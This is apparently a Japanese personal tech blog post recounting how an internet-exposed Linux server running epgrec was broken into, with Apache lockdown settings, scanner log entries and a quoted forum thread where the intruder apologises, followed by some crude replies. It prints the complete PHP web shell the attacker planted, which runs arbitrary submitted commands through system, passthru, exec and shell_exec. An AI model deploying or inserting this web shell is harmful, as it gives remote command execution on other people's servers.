読者です 読者をやめる 読者になる 読者になる

なんとな~くしあわせ?の日記

ClojureとかAWSの設定とかをメモする技術ブログ

ノーガード戦法は危険なのでやめよう



外部公開したLinuxサーバを無防備でほっとくのはやめよう、という話

録画用ソフトウェア、epgrecはLinuxのシステムと連携してテレビの録画を行うことができるものである。以下はそれをインストールした外部公開サーバを放っておいて、ハッカーに侵入されたというお話です。文章がオタクくさく、読みにくいので若干の修正をしている。


実を言うとepgrecを置いてる鯖はまったくアクセス規制などしていなかった。なので「/var/log/httpd/access_log」を見ると得体の知れないアクセスログがいっぱいあった。練習がてらApacheをいじくる。まずただの個人用サーバなので他に公開する意味もないということでhttpd.confをいじる。ディレクトリインデックス? 知るか、そんなことよりセキュリティだ (シャー


Order deny,allow
Deny from all
Allow from *.*.*.*
Allow from *.*.*.*

~~と書いてあるところは全てそうしてみる。いちおう。
試しに携帯からアクセスしてみると見事にアクセスできない。おk!

少しだけgrepの使いかたも覚えた。自分のアクセスログ以外を出力してみる。

grep -v 192.168.11 /var/log/httpd/access_log* | grep -v *.* |grep -v 127.0.0.1 |grep -v google |grep -v HT-03A >> /root/Desktop/horrible_access_log.txt

HT-03Aがあるのは、自分の携帯だからである。

そして引っかかったホストたち。

75.125.94.194 - - [20/Feb/2011:17:16:45 +0900] "GET //MyAdmin/ HTTP/1.1" 404 206 "-" "Made by ZmEu @ WhiteHat Team - www.whitehat.ro"
/var/log/httpd/access_log:91.121.108.5 - - [22/Feb/2011:06:26:02 +0900] "GET /xampp/phpmyadmin/scripts/setup.php HTTP/1.1" 404 232 "-" "ZmEu"
/var/log/httpd/access_log:74.3.205.90 - - [24/Feb/2011:04:07:21 +0900] "HEAD /phpmyadmintting.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 7.0; en; rv:1.9.1.3) Gecko/20090309 Firefox/3.5.3"
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 (.NET CLR 3.5.30729)"
/var/log/httpd/access_log:208.70.191.59 - - [25/Feb/2011:17:56:50 +0900] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 403 230 "-" "Toata dragostea mea pentru iEdi"
/var/log/httpd/access_log:173.173.111.229 - - [24/Feb/2011:06:13:16 +0900] "GET /epgrec/thumbs/a.php HTTP/1.1" 404 217 "-"

どれもスパムばっかりだった。
"Toata dragostea mea pentru iEdi"とか中2じみてて馬鹿っぽいww iEdiってなんなんだろう?今度調べてみるか。
404 Not Found
右のサイトにも同じワームについてかかれていた。404 Not Found つれづれ日記 - "Made by ZmEu @ WhiteHat Team - ww.whitehat.ro"というどうしようもなく怪しいUserAgentでさまざまなシステム管理フォルダのパス名前をスキャンしてくる攻撃


スーパーハッカーがアクセス履歴を残すとかちょっと期待したけど、そんなものは無かった。けどちょっと怖かったのは /epgrec/thumbs/a.php みたいな作った覚えのないphpファイルが作成されていてアクセス履歴が結構残っていたこと。やべえよ...やべえよ....NETのCLRとか書いてあったからスーパーハカーかと思ったらただのワームのようだった。

※追記:実はこのアクセス履歴はハッカーによる侵入だった。つまり2ちゃん的に言えばスーパーハカーでした。下記参照。

そのphpファイルはこんなものだった。Javascriptを使っており、ブラウザ上から相手のパソコンの端末を操れる。

<?php 
	if($_GET['sjis']==1) 
		header('Content-Type: text/html; charset=Shift_JIS'); 
	if($_GET['utf8']==1)
		header('Content-Type: text/html; charset=utf8');
?>
<html>
<head>
<script language="JavaScript">
function hex(d) {
	return d.toString(16);
}
function Encrypt(theText) {
	output = new String;
	Tmp = new String;
	Temp = new Array();
	TextSize = theText.length;
	for (i = 0; i < TextSize; i++) {
		Temp[i] = theText.charCodeAt(i);
	}
	for (i = 0; i < TextSize; i++) {
		Tmp = hex(Temp[i]);
		if (Tmp.length == 1) {
			Tmp = "0" + Tmp;
		}
		output += Tmp;
	}
	document.cmdform.cmd.value=encodeURIComponent(theText);
	document.cmdform.submit();
}
</script>
</head>
<body>
<center>
<form name="encform" onsubmit="return false;">
<textarea name="dcmd" rows="5" cols="50">
</textarea> 
<br/>
<input value="Execute" onclick="Encrypt(this.form.dcmd.value);" type="button"> 
<br/>
</form>
</center>
<form name="cmdform" method="POST" action="#">
<input name="cmd" type="hidden" value="">
</form><br/>
<?php 
function hex2str($hex) {  
	for($i=0;$i<strlen($hex);$i+=2) {    
		$str.=chr(hexdec(substr($hex,$i,2)));  
	}  
	return $str;
}

if ($_POST['cmd']) { 
	if($_GET['sjis']==1) 
		$cmd = trim(mb_convert_encoding(urldecode($_POST['cmd']),"SJIS","UTF-8"));
	else 
		$cmd = trim(urldecode($_POST['cmd'])); 
?>
Command : <?php  echo $cmd  ?>
<br/>
<p>
<pre>
<?php 
	$cmd = "(".$cmd;$cmd .= ") 2>&1";
	if (!$_GET['type']) {
		system($cmd);
	} elseif ($_GET['type']==1) {
		passthru($cmd);
	} elseif ($_GET['type']==2) {
		echo (exec($cmd));
	} elseif ($_GET['type']==3) {
		$output = shell_exec($cmd);
		echo $output;
	} 
?>
</pre>
</p>
<?php } ?>

だけどまあアクセス制限もしたし、めったなことではcgiとかも動かせないだろう!たぶん

                     ○
                      く|7 < もう何も恐くない
                   ┌'弋
                       ,亅  |
                 // \|
                //    \    へ
               //.        \ ///
              くx  ◎       // \
                \      // /  .\
                 \   // /  /  \
                  ヽ// /  /  /  \
                  //        /  / \
                 く/\          /  / \
                     \          /  / \
                      \            /  / \
                        \       /  /  /  \
                         \           /  / \
                           \            /    \


追記1:そういえばいつの間にか/rootフォルダの所有者がusersになってた。。。
1000 root users みたいにアクセス権限ゆるくなってたし。あぶないわー
ログイン画面で$HOME/.dmrcの権限がどうとか怒られる場合は、chmodとかchown使って直しましょう。もしサーバー立ててる場合はアクセス履歴をチェックしてみて。
※そもそもプライベートのサーバを外部公開しないほうが吉ですよね^^;
追記2:侵入の痕跡たち
http://privatepaste.com/82ed178c01

後日談…

【視聴・録画】Linuxでテレビ総合4【デジタル/アナログ】
http://hibari.2ch.net/test/read.cgi/linux/1293388638/

893 名前:login:Penguin[sage] 投稿日:2011/06/10(金) 15:47:29.55 ID:RrXSr5Hr
2chの皆様、epgrecのハッカーです。その不正アクセスは私のせいでした。epgrecの録画を見たいので、誰かのepgrecにアクセスしたい。不正アクセスで本当に申し訳ありません。よろしくお願い致します。

894 名前:login:Penguin[sage] 投稿日:2011/06/10(金) 17:05:12.76 ID:0Ba35AT8 [1/2]
どうもこちらこそよろしくお願いいたします

895 名前:login:Penguin[sage] 投稿日:2011/06/10(金) 20:17:17.07 ID:fhr3Xnjg
>>893
とりあえず乳首うpしてください

896 名前:login:Penguin[sage] 投稿日:2011/06/10(金) 20:24:43.27 ID:CsDOXprW
>>893
じゃ、俺はマンコうpをお願い

897 名前:login:Penguin[sage] 投稿日:2011/06/10(金) 20:57:25.65 ID:otJKzi3Z
じゃ僕は鎖骨をお願いします